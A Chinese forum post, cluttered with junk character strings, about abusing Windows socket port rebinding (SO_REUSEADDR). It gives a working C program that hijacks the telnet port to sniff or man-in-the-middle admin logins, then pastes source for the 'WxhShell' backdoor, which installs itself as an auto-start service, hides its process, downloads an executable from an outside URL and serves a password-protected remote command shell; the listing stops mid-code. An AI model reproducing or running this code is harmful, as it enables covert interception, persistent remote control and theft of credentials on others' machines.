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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: f/,8sGkX;  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); n2'XWbMaL  
oHu7<r  
  saddr.sin_family = AF_INET; 2,h]Y=.s  
u+pZ<Bb  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); kidv^`.H$w  
/Hq#!2)  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); b0N7[M1Xl  
h?->A#  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 G*zhy!P  
2jP(D%n  
  这意味着什么?意味着可以进行如下的攻击: IG:CWPU  
qUQP.4Z95  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 '|&?$g(\h  
r|953e  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)  SmAF+d  
2aUE<@RU[  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 _znn`_N:v  
,LU|WXRB  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  k/Ao?R=@gI  
Y5mk*Q#q  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 WBD"d<>'  
>IZ$ .-  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 `n`HwDo;i  
`]/0&S  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ZYTBc#f  
7;sF0oB5e  
  #include ^|cax| >  
  #include EM'#'fBZ>Y  
  #include ;T>.  
  #include    `2G%&R,k"D  
  DWORD WINAPI ClientThread(LPVOID lpParam);   .;:dG  
  int main() J p0j  
  { T&E'MB  
  WORD wVersionRequested; &w^:nVgl  
  DWORD ret; #<-%%  
  WSADATA wsaData; *Oh]I|?  
  BOOL val; ;,@Fz  
  SOCKADDR_IN saddr; YJZ`Clp?  
  SOCKADDR_IN scaddr; AnBD~h h  
  int err; +3R/g@n  
  SOCKET s; _U~~[I  
  SOCKET sc; >H]|R }h  
  int caddsize; <7MxI@\  
  HANDLE mt; :*tFW~<*b  
  DWORD tid;   !WD^To  
  wVersionRequested = MAKEWORD( 2, 2 ); A=wh&X  
  err = WSAStartup( wVersionRequested, &wsaData ); msZ 3%L  
  if ( err != 0 ) { ~8lB#NuN  
  printf("error!WSAStartup failed!\n"); m{ rsjdnA  
  return -1; #\3X;{  
  } ev5m(wR  
  saddr.sin_family = AF_INET; 0(^ N  
   N8{ 8 a  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 )gxZ &n6  
}};AV)}J  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); R, U YwI  
  saddr.sin_port = htons(23); 7)x 788Z6  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) W ;P8'_2Y  
  { G=KXA'R)1.  
  printf("error!socket failed!\n"); TJ0;xn6o  
  return -1; >ZnnGX6$(  
  } ~<3J9\z1  
  val = TRUE; >\s+A2P  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ~HUO$*U4<  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) FBA th !E  
  { *XG.?%x*|  
  printf("error!setsockopt failed!\n"); K'U=);W  
  return -1; L\t?^u  
  } AK$i0Rn;pm  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; }Y3*X: i7  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 JuR x>F4  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 di~ [Ivw  
AZbFj-^4  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) %07vH&<C.  
  { E qt\It9  
  ret=GetLastError(); 3s,a%GOk  
  printf("error!bind failed!\n"); FOSC#W9E  
  return -1; " 8g\UR"[  
  } g_(O7  
  listen(s,2); w+{ o^ O  
  while(1) C ?aa)H  
  { #>">fs]  
  caddsize = sizeof(scaddr); kOv37c'  
  //接受连接请求 +)*oPSQ5  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); _j\ 8u`^n  
  if(sc!=INVALID_SOCKET) cnU()pd  
  { XWUi_{zn  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); A7GWU{i  
  if(mt==NULL) j k/-7/r  
  { -nGLmMvd  
  printf("Thread Creat Failed!\n"); #7naI*O  
  break; BBRZlx  
  } b'(Hwc\ t  
  } ,o6,(jJU  
  CloseHandle(mt); 2;ac&j1  
  } &MJ`rj[%  
  closesocket(s); 1,pPLc(  
  WSACleanup(); VJ-To}  
  return 0; l }]"X@&G  
  }   M HKnHPv  
  DWORD WINAPI ClientThread(LPVOID lpParam) f(*iagEy  
  { G8Zl[8  
  SOCKET ss = (SOCKET)lpParam; s'k} .}  
  SOCKET sc; bHioM{S  
  unsigned char buf[4096]; RWXN  
  SOCKADDR_IN saddr; C=P}@|K  
  long num; NrfAr}v'E  
  DWORD val; g,\O}jT\'  
  DWORD ret; \|C~VU@  
  //如果是隐藏端口应用的话,可以在此处加一些判断 {:`XhPS<B  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   YZ/2 :[b  
  saddr.sin_family = AF_INET; ;b0;66C8|  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); )bK3%>H#  
  saddr.sin_port = htons(23); m~8=?R+m  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;1Q @d  
  { X "Q\MLy  
  printf("error!socket failed!\n"); fOz.kK[]  
  return -1; kntULI$`  
  } (6X{ &  
  val = 100; &*o{-kw  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 8>!-|VSn  
  { Kq}-)  
  ret = GetLastError(); kFQx7m  
  return -1; E[>A# l53  
  } cf*SWKs  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) FtybF  
  { -}"nb-RR\  
  ret = GetLastError(); HXQ } B$V  
  return -1; T)Pr%kF  
  } [g$IN/o%  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) *4[P$k$7  
  { V_jGL<X|  
  printf("error!socket connect failed!\n"); SnG XEQ  
  closesocket(sc); $x(p:+TI\4  
  closesocket(ss); Poxoc-s  
  return -1; F|?}r3{aJ  
  } C$`^(?iO/  
  while(1) NdM \RD_R  
  { zl)r3#6hW  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 w,;ox2  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 $qM&iI-l0  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 OA&r8WK3  
  num = recv(ss,buf,4096,0); 9Q&]5| x  
  if(num>0) 6'jgjWEe3&  
  send(sc,buf,num,0); %H=^U8WB  
  else if(num==0) M8f[ck  
  break; \}; 4rm}V  
  num = recv(sc,buf,4096,0); t7,**$ST  
  if(num>0) !s[ gv1  
  send(ss,buf,num,0); Ny]]L  
  else if(num==0) 3PaMq6Ca  
  break; 82yfPQ&UI  
  } *xDV8iu_  
  closesocket(ss); E^x/v_,$w!  
  closesocket(sc); d"}lh:L9  
  return 0 ; gyOAvx  
  } Cuo"6, M  
-5,+gakSk  
/_tN&[  
========================================================== |5\: E}1  
*):s**BJ$  
下边附上一个代码,,WXhSHELL )C $1))  
1A N)%  
========================================================== r ['zp=9  
/F}dC/W  
#include "stdafx.h" @Qd5a(5WM  
s"X0Jx}  
#include <stdio.h> H=*2A!O[_  
#include <string.h> {&pBy  
#include <windows.h> ,-1d2y  
#include <winsock2.h> M0woJt[&  
#include <winsvc.h> .Iv`B:4  
#include <urlmon.h> $QaEU="Z  
)?k~E=&o  
#pragma comment (lib, "Ws2_32.lib") h`Xl~=  
#pragma comment (lib, "urlmon.lib") , 4@C%  
z"V`8D  
#define MAX_USER   100 // 最大客户端连接数 t CQf `  
#define BUF_SOCK   200 // sock buffer X'usd$[ .  
#define KEY_BUFF   255 // 输入 buffer uo7[T*<Q  
"2`/mt Mon  
#define REBOOT     0   // 重启 fP{IW`t}]  
#define SHUTDOWN   1   // 关机 ._`?ZJ  
$A>]lLo0  
#define DEF_PORT   5000 // 监听端口 K(_8oB784  
k(_^Lq f-  
#define REG_LEN     16   // 注册表键长度 @EUvx  
#define SVC_LEN     80   // NT服务名长度 ?nD]p!  
QMwV6cA  
// 从dll定义API |S3wCG  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); CA ,2&v"  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); P8GGN  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); vJuL+'[i  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);  T_<:  
p?x]|`M  
// wxhshell配置信息 %6TS_IpJ  
struct WSCFG { Uk4G9}I  
  int ws_port;         // 监听端口 x6 h53R  
  char ws_passstr[REG_LEN]; // 口令 __ G=xf  
  int ws_autoins;       // 安装标记, 1=yes 0=no M(W-\ L  
  char ws_regname[REG_LEN]; // 注册表键名 NeniQeR   
  char ws_svcname[REG_LEN]; // 服务名 $K_-I8e|  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 VQn]"G( `  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Y2(,E e2  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ;et(Yi;9  
int ws_downexe;       // 下载执行标记, 1=yes 0=no /mnV$+BE  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ;i&t|5y~  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 r\m2Oo)]  
l!%V&HJV  
}; Ol*|J  
=${ImMwj  
// default Wxhshell configuration '.#3h$d  
struct WSCFG wscfg={DEF_PORT, b%e7rY2  
    "xuhuanlingzhe", l,ra24  
    1, d 2z!i^:  
    "Wxhshell", I3dUI~}u  
    "Wxhshell", ='fN xabB  
            "WxhShell Service", me@EKspX  
    "Wrsky Windows CmdShell Service", ]wV_xZ)l^A  
    "Please Input Your Password: ", ]?~[!&h  
  1, "qw.{{:tf  
  "http://www.wrsky.com/wxhshell.exe", [ejl #'*5  
  "Wxhshell.exe" BV]$= e'  
    }; wQ\bGBks  
&u~%5;  
// 消息定义模块 -_BjzA|  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; .$ 5*v  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ~{[,0,lWU  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; :bz;_DZP  
char *msg_ws_ext="\n\rExit."; BzI(  
char *msg_ws_end="\n\rQuit."; A7TV-eWG  
char *msg_ws_boot="\n\rReboot..."; %(g!,!l)  
char *msg_ws_poff="\n\rShutdown..."; JO\KTWtjO  
char *msg_ws_down="\n\rSave to "; 5} 1qo7;  
yz_xWx#9  
char *msg_ws_err="\n\rErr!"; ^c:I]_Ww  
char *msg_ws_ok="\n\rOK!"; P.O/ZW>g  
0]l9x}  
char ExeFile[MAX_PATH]; 7OLchf  
int nUser = 0; 8V+  
HANDLE handles[MAX_USER]; z A@w[.  
int OsIsNt; dt(Lp_&v  
#YB3Ug]z  
SERVICE_STATUS       serviceStatus; >RKepV(X7  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; bdvVPjGc&  
TJkWL2r0c  
// 函数声明 [ P%'p-Hg_  
int Install(void); Z/b,aZhB  
int Uninstall(void); B-tLRLWn   
int DownloadFile(char *sURL, SOCKET wsh); ^-7-jZ@jz  
int Boot(int flag); }Z% j=c"d  
void HideProc(void); wW0m}L  
int GetOsVer(void); AI3\eH+  
int Wxhshell(SOCKET wsl); nLBi} T  
void TalkWithClient(void *cs); avxI%%|  
int CmdShell(SOCKET sock); QykHB k  
int StartFromService(void); +!"7=?}  
int StartWxhshell(LPSTR lpCmdLine); g (V_&Y  
0ZtH  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 5!7vD|6  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); }xytV5a^  
"I JcKoB  
// 数据结构和表定义 ?) FY7[x.  
SERVICE_TABLE_ENTRY DispatchTable[] = LH>h]OTQF  
{ \-I)dMm[  
{wscfg.ws_svcname, NTServiceMain}, qF4DX$$<  
{NULL, NULL} }r:8w*4 7  
}; "Kf4v|6;  
Q&?B^[N*Q  
// 自我安装 GlaZZ,   
int Install(void) #oEq)Vq>g|  
{ bk4G+wGw  
  char svExeFile[MAX_PATH]; ~)]n67Or~  
  HKEY key; H]>7IhJ  
  strcpy(svExeFile,ExeFile); e[t1V/ah  
EtA,ow  
// 如果是win9x系统,修改注册表设为自启动 u|\K kk  
if(!OsIsNt) { @1)C3(=A  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7kQ,D,c'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -|_io,eL;  
  RegCloseKey(key); Fo&ecWhw  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { kud2O>>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &A~(9IV  
  RegCloseKey(key); -(|}:J  
  return 0; t 2&}  
    } 73(5.'F  
  } %)j^>W5  
} dhI+_z   
else { mbZ g2TTy  
q@iZo,Yk  
// 如果是NT以上系统,安装为系统服务 =lS@nRH  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); {aWfD XB1  
if (schSCManager!=0) ~Ec@hz]js  
{ tq5o  
  SC_HANDLE schService = CreateService Ui;PmwQc&  
  ( ,\E5et4  
  schSCManager, 0p!N'7N  
  wscfg.ws_svcname, `;#I_R_K  
  wscfg.ws_svcdisp, v{TISgZ  
  SERVICE_ALL_ACCESS, o@:u:n+.  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , RUlJP  
  SERVICE_AUTO_START, ]=m0@JTbG  
  SERVICE_ERROR_NORMAL, +ZeK,Y+Xy  
  svExeFile, !6{b)P  
  NULL, >s"kL^  
  NULL, &3'zG)  
  NULL, ?1lx8+  
  NULL, gj1l9>f>]a  
  NULL 1A/li%  
  ); YX 19QG%  
  if (schService!=0) He)dm5#fg  
  { F` ]s  
  CloseServiceHandle(schService); Xc7Qu?}  
  CloseServiceHandle(schSCManager); 7\JA8mm  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); s&Qil07 Vl  
  strcat(svExeFile,wscfg.ws_svcname); C~:!WRCz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { iVb#X#  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); wq`\p['Q,  
  RegCloseKey(key); _JXb|FIp  
  return 0; -Hu]2J)  
    } C**kJ  
  } ut;KphvSH  
  CloseServiceHandle(schSCManager); PVUNi: h  
} 6Pu5 k;H  
} nv"D  
y{1|@?ii  
return 1; sK`pV8&xq  
} Y%]&h#F  
"Kt[jV;6  
// 自我卸载 8??%H7~  
int Uninstall(void) YM]ZL,8  
{ T1pMe{  
  HKEY key; }8&L?B;90  
O8S"B6?$~'  
if(!OsIsNt) { ' C|yUsBC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { a+{95"4  
  RegDeleteValue(key,wscfg.ws_regname); H1g"09?h6o  
  RegCloseKey(key); U0%m*i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { gSu3\keF  
  RegDeleteValue(key,wscfg.ws_regname); OgB ZoTT  
  RegCloseKey(key); E[E[Za^Y  
  return 0; |p{FSS  
  } \.jT"Z~  
} &li&P5!i  
} /-jk_8@a  
else { @^93q  
KmlpB  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); FR@## i$  
if (schSCManager!=0) xT1{O`  
{ p&ml$N9fd  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); v_Y'o _  
  if (schService!=0) 4>xv7  
  { zMQ|j_ l9E  
  if(DeleteService(schService)!=0) { [XP3  
  CloseServiceHandle(schService); rnC u=n  
  CloseServiceHandle(schSCManager); /4n:!6rt  
  return 0; 4`+hX'  
  } Oy/+uw^  
  CloseServiceHandle(schService); j(maj  
  } u6(>?r-  
  CloseServiceHandle(schSCManager); &MsBcP[  
} SZQ4e  
} )51H\o  
8y, ]>n  
return 1; ="*8ja-K  
} RW. >;|m  
/K]<7  
// 从指定url下载文件 oZ(T`5  
int DownloadFile(char *sURL, SOCKET wsh) {|J'd+  
{ E64d6z^7u  
  HRESULT hr; +e%U6&l{  
char seps[]= "/"; q^hL[:ms#  
char *token; <e&*Tx<8  
char *file; !xxu~j^T  
char myURL[MAX_PATH]; Z[{: `  
char myFILE[MAX_PATH]; 1RF? dv  
*@,>R6)jI  
strcpy(myURL,sURL); m*S[oy&  
  token=strtok(myURL,seps); &% \`Lwh  
  while(token!=NULL) ^J=l]  l  
  { xPi/nWl`|  
    file=token; `?ijKZ}y5  
  token=strtok(NULL,seps); U:.  
  } @n##.th  
/hMD Me  
GetCurrentDirectory(MAX_PATH,myFILE); 'M#'BQQ5  
strcat(myFILE, "\\"); |VL(#U  
strcat(myFILE, file); IL]VY1'#  
  send(wsh,myFILE,strlen(myFILE),0); &zYo   
send(wsh,"...",3,0); &L S&O  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); C%csQ m  
  if(hr==S_OK) l;dZJ_Ut$  
return 0; Ysk,9MR(F  
else ?Q)z5i'g#  
return 1; eY1$s mh t  
HwH Wi  
} n8eR?'4  
uI I:Y{G  
// 系统电源模块 bvM a|;f1  
int Boot(int flag) 1wa zJj=v  
{ hd2 X/"  
  HANDLE hToken; N}3$1=@Y  
  TOKEN_PRIVILEGES tkp; 6h|@Bz/A  
r%g?.4o*b  
  if(OsIsNt) { +0Rr5^8u  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); \&p MF  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); oiq7I@Y`x  
    tkp.PrivilegeCount = 1; j:9kJq>mv  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; < g<Lf[n$  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 0} UJP   
if(flag==REBOOT) { {<HL}m@kQ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 6"Km E}  
  return 0; 7lvUIc?krW  
} >k?/'R  
else { ~_TmS9  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Uk02VuS  
  return 0; E Cx_ [|3{  
} Dm j^aFB0|  
  } F-)lRGw  
  else { < }3c%Q1  
if(flag==REBOOT) { %7PprN0>  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) yVyh'd:Ik  
  return 0; uLsGb=m%b  
} `A)9   
else { IwIk;pB O  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) .Y%)&  
  return 0; nL+*-R!R  
} $SQ8,Y,  
} bN$!G9I!,  
BHE((3  
return 1; a<%WFix  
} 28;D>6c  
pHFh7-vj  
// win9x进程隐藏模块 &rX..l  
void HideProc(void) )K8k3]y&  
{ 5O Ob(  
s7C oUd2  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \]U@=w  
  if ( hKernel != NULL ) \*H/YByTb  
  { dF{3 ~0+,  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); j[XA"DZR<  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); JrTSu`S('  
    FreeLibrary(hKernel); R$&|*0  
  } x+vNA J  
WYQJ +z5  
return; aXyu%<@k  
} EOrWax@k$}  
~y}M GUEC  
// 获取操作系统版本 K h9$  
int GetOsVer(void) : z^ p s0  
{ 5#.uA_Fov  
  OSVERSIONINFO winfo; 2,O-/A;tW*  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Wiqy".YY  
  GetVersionEx(&winfo); dhN[\Z%  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Ru Q\H0pr  
  return 1; p;:tzH\l  
  else <0T4MR7  
  return 0; (}fbs/8\p  
} aC>r5b#:  
TRrO-  
// 客户端句柄模块 .9Bimhc6K  
int Wxhshell(SOCKET wsl) e0HG"z4  
{ PKR0y%Ar  
  SOCKET wsh; "_ b Sy  
  struct sockaddr_in client; PNXZ3:W  
  DWORD myID; J.:"yK""  
>\K<q>*  
  while(nUser<MAX_USER) /d5_-AB(v  
{ a\\B88iRRZ  
  int nSize=sizeof(client); 4@|K^nT`  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); -vI?b#  
  if(wsh==INVALID_SOCKET) return 1; .b]g# Du=  
Tk9*@kqv  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); v@;:aN  
if(handles[nUser]==0) j-ugsV`2=*  
  closesocket(wsh); tnbaU%;|J  
else L1`^~m|  
  nUser++; 0/<}.Z]  
  } ?L#C'Lz2+  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); cD8.rRyD  
Q{!lLka  
  return 0;  M}}9  
} 3O<<XXar  
N10'./c K  
// 关闭 socket geWis(#J  
void CloseIt(SOCKET wsh) =/J4(#Xb  
{ z.eqOPW  
closesocket(wsh); /`0*!sN*5  
nUser--; AqvRzi(Y  
ExitThread(0); ?V#%^ 57p  
} a=gTGG"9  
&Z5$ 5,[  
// 客户端请求句柄 0G9@A8LU  
void TalkWithClient(void *cs) Giz9jzF \  
{ Wt"@?#L  
TQ" [2cY  
  SOCKET wsh=(SOCKET)cs; o(>!T=f  
  char pwd[SVC_LEN]; [9a0J):w{  
  char cmd[KEY_BUFF]; dW<.  
char chr[1]; Q<zL;AJ  
int i,j; $}l0Nh'Eu  
jDcE_55o  
  while (nUser < MAX_USER) { ;=hl!CB  
b]~X U  
if(wscfg.ws_passstr) { 7*OO k"9  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5?k_Q"~  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~*Ve>4  
  //ZeroMemory(pwd,KEY_BUFF); HGB96,o f9  
      i=0; 4XQv  
  while(i<SVC_LEN) { M9]O!{ sq  
g GN[AqR  
  // 设置超时 WW@/q`h  
  fd_set FdRead; jfl7L"2  
  struct timeval TimeOut; XcaY'k#  
  FD_ZERO(&FdRead); ?AyG!F  
  FD_SET(wsh,&FdRead); R+gh 2 6e  
  TimeOut.tv_sec=8; tQ'E"u1  
  TimeOut.tv_usec=0; G=!Y~qg  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); q NU\XO`H  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); wsP3hE' ]  
BkA>':bUr  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Uk-^n~y  
  pwd=chr[0]; H0 km*5Sn  
  if(chr[0]==0xd || chr[0]==0xa) { gnNMuqt  
  pwd=0; V8NNIS  
  break; Vfp{7I$#6"  
  } u7fae$:&  
  i++; y .S0^  
    }  nq8mzI  
"Z }'u2%\m  
  // 如果是非法用户,关闭 socket l+ bP48  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); FM0)/6I'x  
} ,y,NVF  
>t'/(y  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !zvKl;yT  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); it5].A&  
r3hj GcpaX  
while(1) { c _O| ?1  
QgEG%YqB  
  ZeroMemory(cmd,KEY_BUFF); bL!NT}y`  
f'aUo|^?  
      // 自动支持客户端 telnet标准   jIZQ/xp8_  
  j=0; !V Zl<|  
  while(j<KEY_BUFF) { :Py/d6KK  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); L/<^uO1  
  cmd[j]=chr[0]; {08UBnR  
  if(chr[0]==0xa || chr[0]==0xd) { iF{eGi  
  cmd[j]=0; 9/{+,RpC  
  break; ai`fP{WlX  
  } f<uLbJ6  
  j++; g!V;*[  
    } 8Y sn8  
~{*FjZ`h  
  // 下载文件 D^04b< O<x  
  if(strstr(cmd,"http://")) { f 7y1V(t  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^;c!)0Q<Z  
  if(DownloadFile(cmd,wsh)) %@G<B  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); *@dRL3c^=  
  else 6fY(u7m|p  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hqFK2 lR  
  } G|'DAj%  
  else { '+Gt+Gq+  
'-4);:(^  
    switch(cmd[0]) { N3MMxm_u  
  O%tlj@?  
  // 帮助 jWiB_8- 6  
  case '?': { $9+}$lpPd  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); IcoK22/  
    break; {w(6Tc  
  } EW0H"YIC  
  // 安装 _w Cp.[3?t  
  case 'i': { e~ W35Y>A  
    if(Install()) W.-[ceM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X"y rA;,o  
    else ,@khV  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]3NH[&+  
    break; `U#*O+S-^  
    } PGP9-M  
  // 卸载 }v;@1[.B  
  case 'r': { :upi2S_e  
    if(Uninstall()) 1V+a;-?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3 {\b/NL$  
    else z\oq b) a  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "7JO~T+v  
    break; S@z$,}Yc`<  
    } d\3L.5]X  
  // 显示 wxhshell 所在路径 xQ* U9Wt;T  
  case 'p': { 6;l{9cRgc  
    char svExeFile[MAX_PATH]; Jv1.Yz  
    strcpy(svExeFile,"\n\r"); x!{5.#  
      strcat(svExeFile,ExeFile); iPa!pg4m  
        send(wsh,svExeFile,strlen(svExeFile),0); 8 %Lq~ lk  
    break; Gz+Bk5#{  
    } z(:0@5  
  // 重启 zn_InxR  
  case 'b': { %njX'7^u  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); uPsn~>(4  
    if(Boot(REBOOT)) a/NmM)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DCPK1ql  
    else { S3MMyS8  
    closesocket(wsh); G{knO?BK  
    ExitThread(0); 3:PBVt=  
    } iJZqAfG{m?  
    break; ZQD_w#0j  
    } }wC pr.@  
  // 关机 T3@wNAAU  
  case 'd': { $`i$/FE  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); b~Y$!fc  
    if(Boot(SHUTDOWN)) fk5!/>X  
